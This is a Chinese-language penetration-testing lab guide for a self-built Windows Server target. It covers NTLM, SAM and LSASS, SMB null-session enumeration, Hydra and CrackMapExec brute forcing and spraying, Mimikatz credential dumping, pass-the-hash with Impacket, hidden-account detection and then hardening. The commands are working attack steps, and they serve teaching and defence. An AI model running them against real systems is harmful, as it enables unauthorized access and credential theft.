实验二:用户账户暴力破解与凭据提取渗透
实验二:用户账户暴力破解与凭据提取渗透
Section titled “实验二:用户账户暴力破解与凭据提取渗透”第一部分:前置知识点
Section titled “第一部分:前置知识点”1. Windows认证协议体系
Section titled “1. Windows认证协议体系”1.1 密码存储方式演进
Section titled “1.1 密码存储方式演进”Windows系统中,用户密码永远不会以明文形式存储在磁盘上(现代系统),而是以哈希值的形式存储在SAM数据库(Security Account Manager)中:
用户输入密码: "P@ssw0rd123" ↓ 哈希算法处理 ↓存储在SAM中: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 │ │ │ └── NTLM Hash(MD4) └── LM Hash(已废弃,现代系统为空)LM Hash vs NTLM Hash 对比:
| 特性 | LM Hash | NTLM Hash |
|---|---|---|
| 算法 | DES(两段独立加密) | MD4(整体加密) |
| 密码处理 | 转为大写,截断14字符 | 保留大小写,支持长密码 |
| 安全性 | 极低(可秒级彩虹表破解) | 中等(仍可离线破解) |
| 状态 | Vista/2008后默认禁用 | 仍在广泛使用 |
| 盐值(Salt) | 无 | 无 |
1.2 NTLM认证流程(挑战/响应机制)
Section titled “1.2 NTLM认证流程(挑战/响应机制)”┌──────────┐ ┌──────────┐│ 客户端 │ 1. 认证请求(用户名) │ 服务器 ││ │ ────────────────────────────► │ ││ │ │ ││ │ 2. 随机挑战(16字节Nonce) │ ││ │ ◄──────────────────────────── │ ││ │ │ ││ │ 3. 用NTLM Hash加密挑战 │ ││ │ Response = NTLM(Challenge,│ ││ │ NTLM_Hash) │ ││ │ ────────────────────────────► │ ││ │ │ ││ │ 4. 服务器验证Response │ ││ │ (用自己的NTLM Hash重复加密)│ ││ │ 匹配 → 认证成功 ✓ │ │└──────────┘ └──────────┘
⚠️ 关键弱点:NTLM Hash本身就在客户端内存中! 攻击者提取到Hash后,无需明文密码即可认证。1.3 Kerberos认证 vs NTLM对比
Section titled “1.3 Kerberos认证 vs NTLM对比”| 对比维度 | NTLM | Kerberos |
|---|---|---|
| 认证方式 | 挑战/响应(基于哈希) | 票据(Ticket) |
| 双向认证 | ✗ 不可验证服务器身份 | ✓ 客户端和服务器互相验证 |
| 密码传输 | 哈希参与计算,不出网 | 完全不出网 |
| 重放攻击 | 易受NTLM Relay | 票据有时效性(10小时TGT) |
| 单点登录 | ✗ | ✓ 一次认证访问多服务 |
| 适用环境 | 工作组 | 域环境(默认) |
| Pass-the-Hash | ✓ 可能 | ✗ 票据绑定用户 |
| 黄金票据 | ✗ 不适用 | ✓ 获取krbtgt可伪造 |
2. SAM数据库与LSASS进程
Section titled “2. SAM数据库与LSASS进程”2.1 SAM数据库位置与结构
Section titled “2.1 SAM数据库位置与结构”SAM数据库存储位置:%SystemRoot%\System32\config\SAM
SAM文件结构(需要SYSTEM权限才能访问):┌─────────────────────────────┐│ SAM 数据库 ││ ┌─────────────────────────┐ ││ │ 用户账户信息 │ ││ │ - 用户名 │ ││ │ - NTLM Hash │ ││ │ - LM Hash(已废弃) │ ││ │ - 账户属性/标志位 │ ││ │ - RID(相对标识符) │ ││ │ - 最后登录时间 │ ││ └─────────────────────────┘ │└─────────────────────────────┘
导出方式:- 离线:复制SAM文件 + SYSTEM文件 → 用Impacket secretsdump解析- 在线:Mimikatz直接读取LSASS内存- 远程:Impacket secretsdump(需要域管权限)2.2 LSASS进程——Windows凭据的”活存储”
Section titled “2.2 LSASS进程——Windows凭据的”活存储””用户登录Windows后:┌─────────────┐ 认证成功 ┌─────────────────┐│ 用户登录 │ ────────────────► │ LSASS 进程 ││ 输入密码 │ │ (lsass.exe) │└─────────────┘ │ │ │ 缓存内容: │ │ ✓ NTLM Hash │ │ ✓ Kerberos TGT │ │ ✓ Kerberos票据 │ │ ✓ 明文密码* │ │ ✓ 凭据管理器 │ └────────┬────────┘ │ ┌─────────────────┐│ │ Mimikatz 攻击 ││ │ privilege::debug││ │ 调试API读取内存 │─┘ └─────────────────┘
* 明文密码缓存在注册表 HKLM\SECURITY\Cache 中, 通过WDigest协议存储(Win10 1607前默认启用)防御Mimikatz的三层防护:
| 防御措施 | 原理 | 配置方法 |
|---|---|---|
| LSA保护(RunAsPPL) | LSASS以受保护进程运行,禁止调试API读取 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 |
| Credential Guard | 使用虚拟化安全(VBS)隔离凭据 | 需硬件支持TPM 2.0 + Secure Boot + UEFI |
| Protected Users组 | 限制凭据缓存行为 | 将用户加入该安全组 |
3. 隐藏账户原理
Section titled “3. 隐藏账户原理”3.1 $ 后缀账户机制
Section titled “3.1 $ 后缀账户机制”Windows中用户名以 $ 结尾时,该账户有以下特性:
普通账户: net user → 显示在列表中 → 显示在登录界面隐藏账户: net user backdoor$ → 不显示在net user中 → 不显示在登录界面
但隐藏账户:✓ 仍然存在于注册表 SAM 中✓ 仍然可以使用 \\server\share$ 访问共享✓ 仍然可以登录(输入用户名 backdoor$)✓ 可以被 wmic / Get-LocalUser / 直接查询SAM注册表 发现
检测方法对比:┌──────────────────┬──────────────┬──────────────┐│ 检测方法 │ 能发现$账户? │ 命令示例 │├──────────────────┼──────────────┼──────────────┤│ net user │ ✗ 看不到 │ net user ││ 登录界面 │ ✗ 看不到 │ Ctrl+Alt+Del ││ wmic │ ✓ 可以 │ wmic useraccount ││ Get-LocalUser │ ✓ 可以 │ Get-LocalUser ││ 注册表SAM键 │ ✓ 可以 │ reg query HKLM\SAM\... │└──────────────────┴──────────────┴──────────────┘第二部分:实验操作
Section titled “第二部分:实验操作”一、攻击链全景与实验环境
Section titled “一、攻击链全景与实验环境”0. 攻击链知识地图
Section titled “0. 攻击链知识地图”本实验将前置知识点中的四个核心概念串联为一条完整的攻击链,每个阶段都建立在前一个阶段获得的信息之上:
┌─────────────────┐ 用户名列表 ┌──────────────────┐ 有效凭据 ┌──────────────────┐│ 阶段一 │ ─────────────► │ 阶段二 │ ─────────────► │ 阶段三 ││ SMB空会话枚举 │ │ 弱口令暴力破解 │ │ Mimikatz凭据提取 ││ (§1.1 SAM用户) │ │ (§1.3 无锁定策略)│ │ (§2.2 LSASS内存) │└─────────────────┘ └──────────────────┘ └────────┬─────────┘ │ NTLM Hash ▼ ┌──────────────────┐ 加固对抗 ┌──────────────────┐ │ 阶段五 │ ◄───────────── │ 阶段四 │ │ 密码策略+LSA加固 │ │ 隐藏账户检测 │ │ (§2.2 防御三层) │ │ (§3.1 $后缀账户)│ └──────────────────┘ └──────────────────┘二、实验环境配置
Section titled “二、实验环境配置”1.1 网络拓扑
Section titled “1.1 网络拓扑”┌─────────────────────┐ NAT模式 ┌─────────────────────┐│ Kali Linux │ 192.168.1.0/24 │ Windows Server ││ 2025.4(攻击机) │◄──────────────────────────────────► │ 2025(靶机) ││ IP: 192.168.1.10 │ │ IP: 192.168.1.20 │└─────────────────────┘ └─────────────────────┘1.2 靶机环境详细配置
Section titled “1.2 靶机环境详细配置”虚拟机设置:
| 项目 | 配置 |
|---|---|
| 操作系统 | Windows Server 2025 Standard(桌面体验版) |
| 内存 | 4 GB |
| 硬盘 | 60 GB |
| 网络适配器 | NAT模式 |
| 快照 | 实验前创建快照(命名:实验二-初始状态) |
靶机初始化脚本(管理员PowerShell执行,必须先完成下方密码策略配置):
# ============================================# 靶机环境初始化脚本 - 实验二# ============================================
# 1. 创建弱密码测试账户net user user1 123456 /addnet user user2 password /addnet user user3 P@ssw0rd /addnet user user4 qwerty /addnet user weakadmin admin123 /addnet localgroup Administrators weakadmin /add
# 2. 创建隐藏账户(用于检测实验)net user backdoor$ P@ssw0rd123 /addnet localgroup Administrators backdoor$ /add
# 3. 启用远程桌面Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0# 注意:中文版Windows使用中文组名,英文版使用 "Remote Desktop"Enable-NetFirewallRule -DisplayGroup "远程桌面"
# 4. 关闭防火墙(仅实验环境)Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# 5. 重启使策略生效Restart-Computer -Force三、实验步骤
Section titled “三、实验步骤”阶段一:SMB空会话枚举(获取攻击面)
Section titled “阶段一:SMB空会话枚举(获取攻击面)”步骤1:通过空会话枚举用户列表
# 使用enum4linux枚举Windows信息enum4linux -a 192.168.1.20
# 使用rpcclient枚举用户rpcclient -U "" 192.168.1.20 -c "enumdomusers"
# 使用CrackMapExec进行SMB枚举crackmapexec smb 192.168.1.20 --userscrackmapexec smb 192.168.1.20 --groupscrackmapexec smb 192.168.1.20 --shares
# 使用nbtscan获取NetBIOS信息nbtscan 192.168.1.20步骤2:枚举共享资源和密码策略
# 枚举共享资源smbclient -L //192.168.1.20 -N
# 查看密码策略crackmapexec smb 192.168.1.20 --pass-pol
# 预期输出(弱策略):# [+] Password policy for domain:# Password length minimum: 0# Password history length: 0# Maximum password age: not set# Minimum password age: not set# Account lockout threshold: None阶段二:密码暴力破解(将用户名转化为凭据)
Section titled “阶段二:密码暴力破解(将用户名转化为凭据)”步骤3:使用Hydra进行SMB暴力破解
# 准备用户名和密码字典# 用户名字典echo -e "user1\nuser2\nuser3\nuser4\nweakadmin\nadministrator" > /tmp/users.txt
# 密码字典echo -e "123456\npassword\nadmin\nadmin123\nP@ssw0rd\n123456789\nqwerty\nletmein\nwelcome\nmonkey" > /tmp/passwords.txt
# 使用Hydra进行SMB暴力破解hydra -L /tmp/users.txt -P /tmp/passwords.txt smb://192.168.1.20
# 预期输出:# [DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10)# [3389][smb] host: 192.168.1.20 login: user1 password: 123456# [3389][smb] host: 192.168.1.20 login: user2 password: password# [3389][smb] host: 192.168.1.20 login: user3 password: P@ssw0rd# [3389][smb] host: 192.168.1.20 login: weakadmin password: admin123步骤4:使用CrackMapExec进行SMB密码喷射
# 密码喷射:用同一个常见密码尝试所有用户crackmapexec smb 192.168.1.20 -u users.txt -p '123456'crackmapexec smb 192.168.1.20 -u users.txt -p 'admin123'crackmapexec smb 192.168.1.20 -u users.txt -p 'password'
# 验证凭据是否有效crackmapexec smb 192.168.1.20 -u user1 -p '123456' --sharescrackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' --shares步骤5:RDP远程桌面暴力破解
# 使用Hydra进行RDP暴力破解hydra -L /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20
# 使用Crowbar进行RDP爆破crowbar -b rdp -s 192.168.1.20/32 -U /tmp/users.txt -C /tmp/passwords.txt
# 使用NCrack进行RDP爆破ncrack -vv -U /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20步骤6:破解成功后使用获取的凭据访问系统
# 使用CrackMapExec通过已获取的管理员凭据执行命令crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "whoami"crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "net user"crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "ipconfig /all"
# 使用xfreerdp3远程桌面连接(Kali 2025.4)xfreerdp3 /v:192.168.1.20 /u:weakadmin /p:admin123 /cert:tofu阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)
Section titled “阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)”步骤7:使用Mimikatz从内存中提取凭据
在Windows Server靶机上以管理员身份执行:
# 下载Mimikatz到靶机# 从攻击机传输(已在靶机上以管理员权限运行)# 假设已将mimikatz.exe放到 C:\Tools\ 目录
cd C:\Toolsmimikatz.exe
# 获取调试权限privilege::debug# 预期输出:Privilege '20' OK
# 从LSASS进程内存中提取登录用户凭据sekurlsa::logonpasswords
# 输出示例(部分):# Authentication Id : 0 ; 123456 (00000000:0001e240)# Session : Interactive from 2# User Name : weakadmin# Domain : TARGET-SERVER# Password : admin123 ← 明文密码!# NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 导出本地SAM数据库中所有账户的哈希lsadump::sam
# 导出所有已缓存的凭据sekurlsa::credman步骤8:Pass-the-Hash攻击演示
# 在Mimikatz中使用NTLM哈希直接认证(无需明文密码)sekurlsa::pth /user:weakadmin /domain:. /ntlm:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0# 从Kali攻击机使用Impacket工具进行PtHpython3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20阶段四:隐藏账户检测(识别持久化后门)
Section titled “阶段四:隐藏账户检测(识别持久化后门)”步骤9:检测隐藏的$后缀账户
在靶机或Kali上执行:
# 方法一:net user 不显示$账户net user# 注意:backdoor$ 不会出现在列表中
# 方法二:使用wmic可发现隐藏账户wmic useraccount list full | findstr backdoor
# 方法三:直接查询注册表(需SYSTEM权限)reg query "HKLM\SAM\SAM\Domains\Account\Users\Names"
# 方法四:使用PowerShellGet-LocalUser | Select-Object Name, Enabled, Description# $结尾的账户也会显示# 从Kali使用CrackMapExec检测crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' --users# 会列出所有用户,包括隐藏的backdoor$阶段五:密码策略加固与验证(构建防御闭环)
Section titled “阶段五:密码策略加固与验证(构建防御闭环)”防御矩阵:
| 攻击阶段 | 利用的弱点 | 本阶段加固措施 |
|---|---|---|
| 阶段一 枚举 | 允许匿名 SMB | 关闭 SMB 匿名、限制 Null Session |
| 阶段二 爆破 | 无密码复杂度 / 无锁定 | 复杂密码策略 + 账户锁定阈值=5 |
| 阶段三 提取 | LSASS 可被调试读取 | RunAsPPL + Credential Guard |
| 阶段三 PtH | NTLM Hash 可重放 | Protected Users 组 + 禁用 NTLM |
| 阶段四 后门 | 隐藏账户检测困难 | 定期审计 wmic / Get-LocalUser |
步骤10:配置强密码策略
在靶机上执行:
# 方法一:通过secpol.msc图形界面# 路径:secpol.msc → 账户策略 → 密码策略# 密码必须符合复杂性要求 → 启用# 密码长度最小值 → 8 个字符# 密码最长使用期限 → 90 天# 强制密码历史 → 5 个
# 账户策略 → 账户锁定策略# 账户锁定阈值 → 5 次# 账户锁定时间 → 15 分钟# 复位账户锁定计数器的时间间隔 → 15 分钟
# 方法二:通过命令行(有限制,部分需组策略)net accounts /minpwlen:8 /maxpwage:90 /uniquepw:5 /lockoutthreshold:5 /lockoutduration:15gpupdate /force
# 验证策略net accounts步骤11:启用LSA保护防御Mimikatz
# 启用LSA保护(RunAsPPL)reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 启用Windows Defender Credential Guard(需重启)# 方法:gpedit.msc → 计算机配置 → 管理模板 → 系统 → Device Guard# 开启虚拟化安全 → 启用
# 需要重启生效Restart-Computer -Force
# 重启后验证reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL# 应输出:RunAsPPL REG_DWORD 0x1步骤12:验证加固效果
# 1. 验证密码策略crackmapexec smb 192.168.1.20 --pass-pol# 预期:密码长度最小值=8,锁定阈值=5
# 2. 验证暴力破解被限制hydra -l user1 -P /tmp/passwords.txt smb://192.168.1.20 -t 1 -w 5# 预期:尝试5次后账户被锁定,无法继续
# 3. 验证Mimikatz被阻止# 在靶机上重新运行Mimikatzprivilege::debug# 预期:可能失败,提示无法获取调试权限四、攻击链回顾与实验报告要求
Section titled “四、攻击链回顾与实验报告要求”完整攻击链回顾
Section titled “完整攻击链回顾”将五个阶段的产物串成一条叙事:
- 从一个IP 地址开始 → 通过空会话枚举得到用户名列表(阶段一);
- 用户名列表 + 弱密码字典 → 破解得到一组本地管理员凭据(阶段二);
- 登录靶机后运行 Mimikatz → 得到所有在线会话的明文密码与 NTLM 哈希(阶段三);
- 利用管理员权限 → 发现并清点持久化隐藏账户(阶段四);
- 基于前四步暴露的每一个弱点 → 配置对应的加固项并回归验证(阶段五)。
| 序号 | 记录项 | 说明 |
|---|---|---|
| 1 | 枚举结果 | 空会话枚举到的用户列表和共享资源 |
| 2 | 爆破结果 | Hydra/CrackMapExec成功破解的账户密码 |
| 3 | Mimikatz输出 | 提取到的明文密码和NTLM哈希 |
| 4 | 隐藏账户检测 | 检测到backdoor$的方法和结果 |
| 5 | 加固前后对比 | 密码策略配置前后爆破效果的差异 |
五、实验清理
Section titled “五、实验清理”-
点击展开清理脚本
Terminal window # 1. 删除测试账户net user user1 /deletenet user user2 /deletenet user user3 /deletenet user user4 /deletenet user weakadmin /deletenet user backdoor$ /delete# 2. 恢复密码策略secpol.msc# 恢复为默认安全配置# 3. 关闭远程桌面Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1# 4. 启用防火墙Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True# 5. 删除Mimikatz等工具Remove-Item -Path "C:\Tools" -Recurse -Force